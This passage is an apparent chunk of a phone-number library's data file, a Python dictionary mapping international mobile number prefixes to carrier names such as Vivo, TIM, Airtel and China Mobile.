'622996':{'en': 'Esia'},
'8536579':{'en': '3'},
'8536578':{'en': '3'},
'556798402':{'en': 'Brasil Telecom GSM'},
'622994':{'en': 'Esia'},
'556299959':{'en': 'Vivo'},
'556299958':{'en': 'Vivo'},
'556299957':{'en': 'Vivo'},
'556299956':{'en': 'Vivo'},
'556299955':{'en': 'Vivo'},
'556299954':{'en': 'Vivo'},
'556299953':{'en': 'Vivo'},
'556299952':{'en': 'Vivo'},
'556299951':{'en': 'Vivo'},
'556798404':{'en': 'Brasil Telecom GSM'},
'558599675':{'en': 'TIM'},
'558599674':{'en': 'TIM'},
'558599677':{'en': 'TIM'},
'558599676':{'en': 'TIM'},
'558599671':{'en': 'TIM'},
'556798159':{'en': 'TIM'},
'558599673':{'en': 'TIM'},
'558599672':{'en': 'TIM'},
'556798406':{'en': 'Brasil Telecom GSM'},
'556798157':{'en': 'TIM'},
'556798156':{'en': 'TIM'},
'918186':{'en': 'Idea'},
'6254190':{'en': 'Esia'},
'6254191':{'en': 'Esia'},
'6254192':{'en': 'Esia'},
'918398':{'en': 'Vodafone'},
'9178883':{'en': 'Reliance Jio'},
'9174473':{'en': 'Idea'},
'9174472':{'en': 'Idea'},
'5599988':{'en': 'Oi'},
'5599989':{'en': 'Oi'},
'9174477':{'en': 'Idea'},
'9174476':{'en': 'Idea'},
'9174475':{'en': 'Idea'},
'9174474':{'en': 'Idea'},
'9174478':{'en': 'Idea'},
'5599986':{'en': 'Oi'},
'5599987':{'en': 'Oi'},
'62911999':{'en': 'Esia'},
'5599985':{'en': 'Oi'},
'658388':{'en': 'M1'},
'658389':{'en': 'StarHub'},
'658382':{'en': 'M1'},
'658383':{'en': 'M1'},
'658380':{'en': 'StarHub'},
'658381':{'en': 'SingTel'},
'658386':{'en': 'SingTel'},
'658387':{'en': 'SingTel'},
'658384':{'en': 'StarHub'},
'658385':{'en': 'SingTel'},
'9181270':{'en': 'Airtel'},
'918391':{'en': 'Reliance'},
'9180052':{'en': 'CellOne'},
'9180053':{'en': 'CellOne'},
'556498129':{'en': 'TIM'},
'556498128':{'en': 'TIM'},
'9180056':{'en': 'Reliance Jio'},
'9180057':{'en': 'Reliance Jio'},
'9180054':{'en': 'CellOne'},
'9180055':{'en': 'Reliance Jio'},
'556498123':{'en': 'TIM'},
'556498122':{'en': 'TIM'},
'556498121':{'en': 'TIM'},
'9180059':{'en': 'Reliance Jio'},
'556498127':{'en': 'TIM'},
'556498126':{'en': 'TIM'},
'556498125':{'en': 'TIM'},
'556498124':{'en': 'TIM'},
'559999146':{'en': 'Vivo'},
'559999147':{'en': 'Vivo'},
'559999144':{'en': 'Vivo'},
'559999145':{'en': 'Vivo'},
'559999142':{'en': 'Vivo'},
'559999143':{'en': 'Vivo'},
'658652':{'en': 'SingTel'},
'559999141':{'en': 'Vivo'},
'918397':{'en': 'Vodafone'},
'658658':{'en': 'StarHub'},
'658659':{'en': 'StarHub'},
'559999148':{'en': 'Vivo'},
'559999149':{'en': 'Vivo'},
'8536650':{'en': 'CTM'},
'62335999':{'en': 'Esia'},
'557199249':{'en': 'TIM'},
'557199248':{'en': 'TIM'},
'557199243':{'en': 'TIM'},
'557199242':{'en': 'TIM'},
'557199241':{'en': 'TIM'},
'557199247':{'en': 'TIM'},
'557199246':{'en': 'TIM'},
'557199245':{'en': 'TIM'},
'557199244':{'en': 'TIM'},
'917319':{'en': 'Airtel'},
'917318':{'en': 'Airtel'},
'86188':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'86189':{'en': 'China Telecom', 'zh': u('\u4e2d\u56fd\u7535\u4fe1'), 'zh_Hant': u('\u4e2d\u570b\u96fb\u4fe1')},
'86186':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'86187':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'86184':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'86185':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'86182':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'86183':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'86180':{'en': 'China Telecom', 'zh': u('\u4e2d\u56fd\u7535\u4fe1'), 'zh_Hant': u('\u4e2d\u570b\u96fb\u4fe1')},
'86181':{'en': 'China Telecom', 'zh': u('\u4e2d\u56fd\u7535\u4fe1'), 'zh_Hant': u('\u4e2d\u570b\u96fb\u4fe1')},
'559698117':{'en': 'TIM'},
'559698116':{'en': 'TIM'},
'559698115':{'en': 'TIM'},
'559698114':{'en': 'TIM'},
'559698113':{'en': 'TIM'},
'559698112':{'en': 'TIM'},
'559698111':{'en': 'TIM'},
'62335997':{'en': 'Esia'},
'559698119':{'en': 'TIM'},
'559698118':{'en': 'TIM'},
'569787':{'en': 'Entel'},
'569786':{'en': 'Claro'},
'569785':{'en': 'Claro'},
'569784':{'en': 'Claro'},
'569783':{'en': 'Claro'},
'569782':{'en': 'Claro'},
'569781':{'en': 'Claro'},
'569780':{'en': 'Entel'},
'9173005':{'en': 'Hexacom'},
'6223194':{'en': 'Esia'},
'569789':{'en': 'Entel'},
'569788':{'en': 'Entel'},
'558999972':{'en': 'TIM'},
'558999973':{'en': 'TIM'},
'6223192':{'en': 'Esia'},
'6223193':{'en': 'Esia'},
'556499658':{'en': 'Vivo'},
'9173004':{'en': 'Airtel'},
'556499652':{'en': 'Vivo'},
'556499653':{'en': 'Vivo'},
'6223191':{'en': 'Esia'},
'556499654':{'en': 'Vivo'},
'556499655':{'en': 'Vivo'},
'8536852':{'en': '3'},
'9183810':{'en': 'Idea'},
'918189':{'en': 'Tata Docomo'},
'8493':{'en': 'MobiFone'},
'8492':{'en': 'Vietnamobile'},
'8491':{'en': 'Vinaphone'},
'8490':{'en': 'MobiFone'},
'8497':{'en': 'Viettel'},
'8496':{'en': 'Viettel'},
'8494':{'en': 'Vinaphone'},
'8498':{'en': 'Viettel'},
'8536854':{'en': '3'},
'918188':{'en': 'Tata Docomo'},
'559299907':{'en': 'Oi'},
'559299906':{'en': 'Oi'},
'559299905':{'en': 'Oi'},
'559299904':{'en': 'Oi'},
'559299903':{'en': 'Oi'},
'559299902':{'en': 'Oi'},
'559299901':{'en': 'Oi'},
'559898461':{'en': 'Claro BR'},
'559898460':{'en': 'Claro BR'},
'559299909':{'en': 'Oi'},
'559299908':{'en': 'Oi'},
'555399962':{'en': 'Vivo'},
'555399963':{'en': 'Vivo'},
'559599161':{'en': 'Vivo'},
'559599162':{'en': 'Vivo'},
'559599163':{'en': 'Vivo'},
'559599164':{'en': 'Vivo'},
'559599165':{'en': 'Vivo'},
'559599166':{'en': 'Vivo'},
'559599167':{'en': 'Vivo'},
'559599168':{'en': 'Vivo'},
'9173260':{'en': 'Airtel'},
'556499611':{'en': 'Vivo'},
'55749812':{'en': 'Claro BR'},
'9174279':{'en': 'Vodafone'},
'556599931':{'en': 'Vivo'},
'556599932':{'en': 'Vivo'},
'556599933':{'en': 'Vivo'},
'556599934':{'en': 'Vivo'},
'556599935':{'en': 'Vivo'},
'556599936':{'en': 'Vivo'},
'556599937':{'en': 'Vivo'},
'556599938':{'en': 'Vivo'},
'556599939':{'en': 'Vivo'},
'8536380':{'en': '3'},
'8536381':{'en': '3'},
'8536386':{'en': 'China Telecom'},
'8536387':{'en': 'China Telecom'},
'8536384':{'en': '3'},
'8536385':{'en': '3'},
'9179928':{'en': 'Idea'},
'9179929':{'en': 'Idea'},
'9179922':{'en': 'Reliance Jio'},
'9179923':{'en': 'Reliance Jio'},
'9179920':{'en': 'Airtel'},
'9179921':{'en': 'Airtel'},
'9179926':{'en': 'Idea'},
'9179927':{'en': 'Idea'},
'9179924':{'en': 'Reliance Jio'},
'9179925':{'en': 'Idea'},
'556499618':{'en': 'Vivo'},
'9177568':{'en': 'Airtel'},
'59069036':{'en': 'Digicel'},
'555599955':{'en': 'Vivo'},
'555599954':{'en': 'Vivo'},
'555599957':{'en': 'Vivo'},
'555599956':{'en': 'Vivo'},
'555599951':{'en': 'Vivo'},
'555599953':{'en': 'Vivo'},
'555599952':{'en': 'Vivo'},
'555599959':{'en': 'Vivo'},
'555599958':{'en': 'Vivo'},
'658409':{'en': 'SingTel'},
'658408':{'en': 'SingTel'},
'9177849':{'en': 'Dishnet'},
'559598412':{'en': 'Claro BR'},
'559598411':{'en': 'Claro BR'},
'559598410':{'en': 'Claro BR'},
'658407':{'en': 'SingTel'},
'9175588':{'en': 'Idea'},
'9175589':{'en': 'Idea'},
'658406':{'en': 'SingTel'},
'9175580':{'en': 'Idea'},
'9175581':{'en': 'Airtel'},
'558599444':{'en': 'Claro BR'},
'9175583':{'en': 'Airtel'},
'9175584':{'en': 'Airtel'},
'9175585':{'en': 'Airtel'},
'9175586':{'en': 'Airtel'},
'9175587':{'en': 'Airtel'},
'556298149':{'en': 'TIM'},
'556298148':{'en': 'TIM'},
'556298143':{'en': 'TIM'},
'556298142':{'en': 'TIM'},
'556298141':{'en': 'TIM'},
'556298147':{'en': 'TIM'},
'556298146':{'en': 'TIM'},
'556298145':{'en': 'TIM'},
'556298144':{'en': 'TIM'},
'658469':{'en': 'M1'},
'658468':{'en': 'StarHub'},
'658463':{'en': 'M1'},
'658462':{'en': 'M1'},
'658461':{'en': 'M1'},
'658460':{'en': 'M1'},
'658467':{'en': 'M1'},
'658466':{'en': 'M1'},
'658465':{'en': 'M1'},
'658464':{'en': 'M1'},
'569923':{'en': 'Movistar'},
'5939920':{'en': 'Claro'},
'5939921':{'en': 'Claro'},
'62896':{'en': '3'},
'62897':{'en': '3'},
'62895':{'en': 'Hutchison'},
'559998152':{'en': 'TIM'},
'559998153':{'en': 'TIM'},
'559998151':{'en': 'TIM'},
'62898':{'en': '3'},
'62899':{'en': '3'},
'5939929':{'en': 'Movistar'},
'9174780':{'en': 'Airtel'},
'675775':{'en': 'Telikom'},
'8536816':{'en': 'SmarTone'},
'559699181':{'en': 'Vivo'},
'555398132':{'en': 'TIM'},
'555398133':{'en': 'TIM'},
'555398131':{'en': 'TIM'},
'555398136':{'en': 'TIM'},
'555398137':{'en': 'TIM'},
'555398134':{'en': 'TIM'},
'555398135':{'en': 'TIM'},
'555398138':{'en': 'TIM'},
'555398139':{'en': 'TIM'},
'9174860':{'en': 'Airtel'},
'5699381':{'en': 'Movistar'},
'5699380':{'en': 'Movistar'},
'5699383':{'en': 'Entel'},
'5699382':{'en': 'Entel'},
'5699385':{'en': 'Claro'},
'5699384':{'en': 'Scharfstein'},
'5699387':{'en': 'Claro'},
'5699386':{'en': 'Claro'},
'5699389':{'en': 'Movistar'},
'5699388':{'en': 'Claro'},
'614444':{'en': 'Telstra'},
'55919920':{'en': 'Vivo'},
'55919921':{'en': 'Vivo'},
'55919922':{'en': 'Vivo'},
'55919923':{'en': 'Vivo'},
'55919924':{'en': 'Vivo'},
'55919925':{'en': 'Vivo'},
'55919926':{'en': 'Vivo'},
'55919927':{'en': 'Vivo'},
'918343':{'en': 'Idea'},
'918342':{'en': 'Vodafone'},
'559699981':{'en': 'Oi'},
'918347':{'en': 'Idea'},
'918346':{'en': 'Idea'},
'556398119':{'en': 'TIM'},
'556398118':{'en': 'TIM'},
'556398117':{'en': 'TIM'},
'556398116':{'en': 'TIM'},
'556398115':{'en': 'TIM'},
'556398114':{'en': 'TIM'},
'556398113':{'en': 'TIM'},
'556398112':{'en': 'TIM'},
'556398111':{'en': 'TIM'},
'659868':{'en': 'SingTel'},
'659869':{'en': 'SingTel'},
'9173670':{'en': 'Airtel'},
'9176300':{'en': 'Hexacom'},
'9173678':{'en': 'Airtel'},
'9173679':{'en': 'Airtel'},
'61497':{'en': 'Telstra'},
'9173229':{'en': 'Idea'},
'9173228':{'en': 'Idea'},
'60158860':{'en': 'Izzinet'},
'61491':{'en': 'Telstra'},
'61490':{'en': 'Telstra'},
'9177400':{'en': 'Reliance'},
'9175805':{'en': 'Vodafone'},
'9175804':{'en': 'Vodafone'},
'9175807':{'en': 'Vodafone'},
'9172850':{'en': 'Idea'},
'9175801':{'en': 'Vodafone'},
'9175800':{'en': 'Idea'},
'9175803':{'en': 'Vodafone'},
'9175802':{'en': 'Vodafone'},
'55899811':{'en': 'Vivo'},
'55899810':{'en': 'Vivo'},
'9175809':{'en': 'Vodafone'},
'9175808':{'en': 'Vodafone'},
'556598418':{'en': 'Brasil Telecom GSM'},
'556598419':{'en': 'Brasil Telecom GSM'},
'556598414':{'en': 'Brasil Telecom GSM'},
'556598415':{'en': 'Brasil Telecom GSM'},
'556598416':{'en': 'Brasil Telecom GSM'},
'556598417':{'en': 'Brasil Telecom GSM'},
'9176578':{'en': 'Tata Docomo'},
'556598411':{'en': 'Brasil Telecom GSM'},
'556598412':{'en': 'Brasil Telecom GSM'},
'556598413':{'en': 'Brasil Telecom GSM'},
'8536614':{'en': 'SmarTone'},
'852629':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852628':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852625':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852624':{'en': 'CM Mobile', 'zh': u('\u6da6\u8fc5\u901a\u4fe1'), 'zh_Hant': u('\u6f64\u8fc5\u901a\u4fe1')},
'852627':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'9177408':{'en': 'Idea'},
'852621':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852620':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852623':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852622':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'9177778':{'en': 'Tata Docomo'},
'9177770':{'en': 'Airtel'},
'8536615':{'en': 'SmarTone'},
'9174919':{'en': 'Idea'},
'918107':{'en': 'Airtel'},
'852672':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'918106':{'en': 'Airtel'},
'852673':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'918101':{'en': 'Reliance'},
'852670':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852671':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'918103':{'en': 'Reliance'},
'852676':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'918102':{'en': 'Reliance'},
'852674':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'5939788':{'en': 'Movistar'},
'5939789':{'en': 'Movistar'},
'5939786':{'en': 'Movistar'},
'5939787':{'en': 'Movistar'},
'852675':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'8536617':{'en': '3'},
'63918':{'en': 'Smart'},
'63919':{'en': 'Smart'},
'63910':{'en': 'Smart'},
'63912':{'en': 'Smart'},
'63914':{'en': 'Globe'},
'63915':{'en': 'Globe'},
'63916':{'en': 'Globe'},
'63917':{'en': 'Globe'},
'9176520':{'en': 'CellOne'},
'559599977':{'en': 'Oi'},
'559599976':{'en': 'Oi'},
'559599974':{'en': 'Oi'},
'559599972':{'en': 'Oi'},
'559599971':{'en': 'Oi'},
'559599970':{'en': 'Oi'},
'658812':{'en': 'M1'},
'658813':{'en': 'M1'},
'658811':{'en': 'M1'},
'658816':{'en': 'M1'},
'8536599':{'en': 'China Telecom'},
'8536598':{'en': 'China Telecom'},
'8536611':{'en': '3'},
'658818':{'en': 'M1'},
'8536591':{'en': 'CTM'},
'8536590':{'en': 'CTM'},
'556299935':{'en': 'Vivo'},
'556299934':{'en': 'Vivo'},
'556299937':{'en': 'Vivo'},
'556299936':{'en': 'Vivo'},
'556299931':{'en': 'Vivo'},
'556299933':{'en': 'Vivo'},
'556299932':{'en': 'Vivo'},
'556299939':{'en': 'Vivo'},
'556299938':{'en': 'Vivo'},
'60154879':{'en': 'REDtone'},
'60154878':{'en': 'Tg Agas'},
'9176785':{'en': 'Reliance Jio'},
'9181070':{'en': 'Hexacom'},
'60154875':{'en': 'PP International'},
'569759':{'en': 'Claro'},
'559199908':{'en': 'Oi'},
'559199902':{'en': 'Oi'},
'559199903':{'en': 'Oi'},
'559199901':{'en': 'Oi'},
'559199906':{'en': 'Oi'},
'559199907':{'en': 'Oi'},
'559199904':{'en': 'Oi'},
'559199905':{'en': 'Oi'},
'558599659':{'en': 'TIM'},
'558599658':{'en': 'TIM'},
'558599653':{'en': 'TIM'},
'558599652':{'en': 'TIM'},
'558599651':{'en': 'TIM'},
'558599657':{'en': 'TIM'},
'558599656':{'en': 'TIM'},
'558599655':{'en': 'TIM'},
'558599654':{'en': 'TIM'},
'559999168':{'en': 'Vivo'},
'559999169':{'en': 'Vivo'},
'559999164':{'en': 'Vivo'},
'559999165':{'en': 'Vivo'},
'559999166':{'en': 'Vivo'},
'559999167':{'en': 'Vivo'},
'559999161':{'en': 'Vivo'},
'559999162':{'en': 'Vivo'},
'559999163':{'en': 'Vivo'},
'559499666':{'en': 'Oi'},
'556398418':{'en': 'Brasil Telecom GSM'},
'556398419':{'en': 'Brasil Telecom GSM'},
'569778':{'en': 'Claro'},
'917204':{'en': 'Tata Docomo'},
'55849944':{'en': 'Claro BR'},
'55849945':{'en': 'Claro BR'},
'55849940':{'en': 'Claro BR'},
'55849941':{'en': 'Claro BR'},
'55849942':{'en': 'Claro BR'},
'55849943':{'en': 'Claro BR'},
'917621':{'en': 'Idea'},
'917620':{'en': 'Reliance'},
'917623':{'en': 'Idea'},
'917622':{'en': 'Idea'},
'569814':{'en': 'Claro'},
'917566':{'en': 'Vodafone'},
'62218384':{'en': 'Esia'},
'62218380':{'en': 'Esia'},
'62218381':{'en': 'Esia'},
'62218382':{'en': 'Esia'},
'6018120':{'en': 'U Mobile'},
'558999997':{'en': 'TIM'},
'556499671':{'en': 'Vivo'},
'9175780':{'en': 'Vodafone'},
'5555996':{'en': 'Vivo'},
'555399988':{'en': 'TIM'},
'555399989':{'en': 'TIM'},
'556499676':{'en': 'Vivo'},
'555399985':{'en': 'TIM'},
'555399986':{'en': 'TIM'},
'555399987':{'en': 'TIM'},
'555399981':{'en': 'TIM'},
'555399982':{'en': 'TIM'},
'555399983':{'en': 'TIM'},
'6236139':{'en': 'Esia'},
'559299969':{'en': 'Oi'},
'559299968':{'en': 'Oi'},
'559299965':{'en': 'Oi'},
'559299964':{'en': 'Oi'},
'559299967':{'en': 'Oi'},
'559299966':{'en': 'Oi'},
'559299961':{'en': 'Oi'},
'559299963':{'en': 'Oi'},
'559299962':{'en': 'Oi'},
'62265986':{'en': 'Esia'},
'62265987':{'en': 'Esia'},
'62265985':{'en': 'Esia'},
'9174938':{'en': 'Idea'},
'62265988':{'en': 'Esia'},
'62265989':{'en': 'Esia'},
'6425':{'en': 'Telecom'},
'6426':{'en': 'Vodafone'},
'6427':{'en': 'Telecom'},
'6421':{'en': 'Vodafone'},
'6422':{'en': '2degrees'},
'6428':{'en': 'Vodafone'},
'6429':{'en': 'TelstraClear'},
'9173249':{'en': 'Idea'},
'9173248':{'en': 'Idea'},
'9173240':{'en': 'Idea'},
'9174210':{'en': 'Dishnet'},
'9174219':{'en': 'Dishnet'},
'9174218':{'en': 'Dishnet'},
'556599956':{'en': 'Vivo'},
'556599957':{'en': 'Vivo'},
'556599954':{'en': 'Vivo'},
'556599955':{'en': 'Vivo'},
'556599952':{'en': 'Vivo'},
'556599953':{'en': 'Vivo'},
'556599951':{'en': 'Vivo'},
'66805':{'en': 'DTAC'},
'556599958':{'en': 'Vivo'},
'556599959':{'en': 'Vivo'},
'6221511':{'en': 'Esia'},
'555599979':{'en': 'Vivo'},
'555599978':{'en': 'Vivo'},
'6221512':{'en': 'Esia'},
'658684':{'en': 'M1'},
'555599973':{'en': 'Vivo'},
'555599972':{'en': 'Vivo'},
'555599971':{'en': 'Vivo'},
'6221513':{'en': 'Esia'},
'555599977':{'en': 'Vivo'},
'555599976':{'en': 'Vivo'},
'555599975':{'en': 'Vivo'},
'555599974':{'en': 'Vivo'},
'555499659':{'en': 'Vivo'},
'555499658':{'en': 'Vivo'},
'555499651':{'en': 'Vivo'},
'555499653':{'en': 'Vivo'},
'555499652':{'en': 'Vivo'},
'555499655':{'en': 'Vivo'},
'555499654':{'en': 'Vivo'},
'555499657':{'en': 'Vivo'},
'555499656':{'en': 'Vivo'},
'9172830':{'en': 'Vodafone'},
'9173930':{'en': 'Telenor'},
'9173939':{'en': 'Telenor'},
'9173938':{'en': 'Telenor'},
'559399131':{'en': 'Vivo'},
'559399133':{'en': 'Vivo'},
'559399132':{'en': 'Vivo'},
'559399135':{'en': 'Vivo'},
'559399134':{'en': 'Vivo'},
'559399137':{'en': 'Vivo'},
'559399136':{'en': 'Vivo'},
'559399139':{'en': 'Vivo'},
'559399138':{'en': 'Vivo'},
'9177548':{'en': 'Airtel'},
'9174930':{'en': 'Idea'},
'9172832':{'en': 'Vodafone'},
'557999141':{'en': 'TIM'},
'557999142':{'en': 'TIM'},
'557999143':{'en': 'TIM'},
'557999145':{'en': 'TIM'},
'557999147':{'en': 'TIM'},
'557999148':{'en': 'TIM'},
'557999149':{'en': 'TIM'},
'555598141':{'en': 'TIM'},
'555598143':{'en': 'TIM'},
'555598142':{'en': 'TIM'},
'9172835':{'en': 'Vodafone'},
'9173658':{'en': 'Airtel'},
'9175390':{'en': 'Dishnet'},
'9175394':{'en': 'Dishnet'},
'9175396':{'en': 'Dishnet'},
'6226298':{'en': 'Esia'},
'6226299':{'en': 'Esia'},
'555398118':{'en': 'TIM'},
'555398119':{'en': 'TIM'},
'559699163':{'en': 'Vivo'},
'559699162':{'en': 'Vivo'},
'559699165':{'en': 'Vivo'},
'559699164':{'en': 'Vivo'},
'559699167':{'en': 'Vivo'},
'559699166':{'en': 'Vivo'},
'559699169':{'en': 'Vivo'},
'555398111':{'en': 'TIM'},
'555398112':{'en': 'TIM'},
'555398113':{'en': 'TIM'},
'555398114':{'en': 'TIM'},
'555398115':{'en': 'TIM'},
'555398116':{'en': 'TIM'},
'555398117':{'en': 'TIM'},
'917439':{'en': 'Reliance'},
'6226291':{'en': 'Esia'},
'5575985':{'en': 'Oi'},
'5575986':{'en': 'Oi'},
'5575987':{'en': 'Oi'},
'5575981':{'en': 'Claro BR'},
'9180150':{'en': 'Tata Docomo'},
'5575988':{'en': 'Oi'},
'5575989':{'en': 'Oi'},
'658688':{'en': 'M1'},
'61423':{'en': 'Optus'},
'67796':{'en': 'Smile'},
'67797':{'en': 'Smile'},
'67794':{'en': 'Smile'},
'67795':{'en': 'Smile'},
'67792':{'en': 'Satsol'},
'67791':{'en': 'Satsol'},
'6228799':{'en': 'Esia'},
'9173650':{'en': 'Airtel'},
'67798':{'en': 'Smile'},
'67799':{'en': 'Smile'},
'9176500':{'en': 'CellOne'},
'917293':{'en': 'Dishnet'},
'917298':{'en': 'Dishnet'},
'917299':{'en': 'Aircel'},
'556299904':{'en': 'Vivo'},
'658822':{'en': 'M1'},
'556299906':{'en': 'Vivo'},
'556299907':{'en': 'Vivo'},
'917260':{'en': 'Airtel'},
'9181480':{'en': 'Tata Docomo'},
'556299901':{'en': 'Vivo'},
'559899909':{'en': 'Oi'},
'559899908':{'en': 'Oi'},
'556299902':{'en': 'Vivo'},
'559899901':{'en': 'Oi'},
'559899903':{'en': 'Oi'},
'559899902':{'en': 'Oi'},
'559899905':{'en': 'Oi'},
'559899904':{'en': 'Oi'},
'559899907':{'en': 'Oi'},
'559899906':{'en': 'Oi'},
'9183174':{'en': 'Reliance Jio'},
'556298187':{'en': 'TIM'},
'9183176':{'en': 'Reliance Jio'},
'9183170':{'en': 'Reliance Jio'},
'9183172':{'en': 'Idea'},
'556298186':{'en': 'TIM'},
'559399115':{'en': 'Vivo'},
'559399114':{'en': 'Vivo'},
'9172879':{'en': 'Idea'},
'9172878':{'en': 'Idea'},
'9172875':{'en': 'Airtel'},
'556298183':{'en': 'TIM'},
'9172877':{'en': 'Airtel'},
'9172876':{'en': 'Airtel'},
'9172871':{'en': 'Airtel'},
'9172870':{'en': 'Idea'},
'9172873':{'en': 'Airtel'},
'556298182':{'en': 'TIM'},
'5698104':{'en': 'Viva'},
'5698105':{'en': 'WOM'},
'5698106':{'en': 'WOM'},
'5698107':{'en': 'WOM'},
'5698100':{'en': 'Viva'},
'556298181':{'en': 'TIM'},
'5698102':{'en': 'Viva'},
'5698103':{'en': 'Viva'},
'5698108':{'en': 'WOM'},
'5698109':{'en': 'WOM'},
'852609':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852608':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'55889812':{'en': 'Vivo'},
'55889810':{'en': 'Vivo'},
'55889811':{'en': 'Vivo'},
'559399119':{'en': 'Vivo'},
'556298188':{'en': 'TIM'},
'557599801':{'en': 'Vivo'},
'557599803':{'en': 'Vivo'},
'557599802':{'en': 'Vivo'},
'557599805':{'en': 'Vivo'},
'557599804':{'en': 'Vivo'},
'557599807':{'en': 'Vivo'},
'557599806':{'en': 'Vivo'},
'557599809':{'en': 'Vivo'},
'557599808':{'en': 'Vivo'},
'917991':{'en': 'Airtel'},
'917990':{'en': 'Reliance Jio'},
'917997':{'en': 'Idea'},
'917996':{'en': 'Idea'},
'917995':{'en': 'Airtel'},
'917994':{'en': 'Airtel'},
'65945':{'en': 'StarHub'},
'65947':{'en': 'M1'},
'65946':{'en': 'SingTel'},
'558599957':{'en': 'TIM'},
'65942':{'en': 'StarHub'},
'65948':{'en': 'StarHub'},
'659121':{'en': 'SingTel'},
'9181538':{'en': 'Idea'},
'9181878':{'en': 'Idea'},
'556299919':{'en': 'Vivo'},
'556299918':{'en': 'Vivo'},
'658838':{'en': 'M1'},
'9174509':{'en': 'Idea'},
'556299913':{'en': 'Vivo'},
'556299912':{'en': 'Vivo'},
'556299911':{'en': 'Vivo'},
'9174508':{'en': 'Idea'},
'556299917':{'en': 'Vivo'},
'556299916':{'en': 'Vivo'},
'556299915':{'en': 'Vivo'},
'556299914':{'en': 'Vivo'},
'556199839':{'en': 'Vivo'},
'9174500':{'en': 'Idea'},
'556199838':{'en': 'Vivo'},
'9181728':{'en': 'Airtel'},
'9181050':{'en': 'Airtel'},
'9181720':{'en': 'Airtel'},
'62752994':{'en': 'Esia'},
'62752995':{'en': 'Esia'},
'62752996':{'en': 'Esia'},
'62752990':{'en': 'Esia'},
'62752991':{'en': 'Esia'},
'62752992':{'en': 'Esia'},
'62752993':{'en': 'Esia'},
'9180890':{'en': 'Tata Docomo'},
'556299669':{'en': 'Vivo'},
'556299668':{'en': 'Vivo'},
'556299661':{'en': 'Vivo'},
'556299663':{'en': 'Vivo'},
'556299662':{'en': 'Vivo'},
'556299665':{'en': 'Vivo'},
'556299664':{'en': 'Vivo'},
'556299667':{'en': 'Vivo'},
'556299666':{'en': 'Vivo'},
'559199921':{'en': 'Oi'},
'559199922':{'en': 'Oi'},
'559199923':{'en': 'Oi'},
'559199924':{'en': 'Oi'},
'6015882':{'en': 'Asiaspace'},
'559199926':{'en': 'Oi'},
'9175770':{'en': 'Vodafone'},
'9175779':{'en': 'Vodafone'},
'9175778':{'en': 'Vodafone'},
'559999182':{'en': 'Vivo'},
'559999183':{'en': 'Vivo'},
'559999181':{'en': 'Vivo'},
'559999186':{'en': 'Vivo'},
'559999187':{'en': 'Vivo'},
'559999184':{'en': 'Vivo'},
'559999185':{'en': 'Vivo'},
'559999188':{'en': 'Vivo'},
'559999189':{'en': 'Vivo'},
'658698':{'en': 'SingTel'},
'658699':{'en': 'M1'},
'658690':{'en': 'StarHub'},
'658691':{'en': 'M1'},
'658692':{'en': 'M1'},
'658693':{'en': 'M1'},
'658694':{'en': 'SingTel'},
'658695':{'en': 'SingTel'},
'658696':{'en': 'SingTel'},
'658697':{'en': 'SingTel'},
'8536255':{'en': 'SmarTone'},
'557199287':{'en': 'TIM'},
'917351':{'en': 'Idea'},
'917350':{'en': 'Idea'},
'55849960':{'en': 'TIM'},
'917352':{'en': 'Idea'},
'917355':{'en': 'Videocon'},
'917354':{'en': 'Idea'},
'917357':{'en': 'Hexacom'},
'917356':{'en': 'Aircel'},
'917359':{'en': 'Idea'},
'917358':{'en': 'Aircel'},
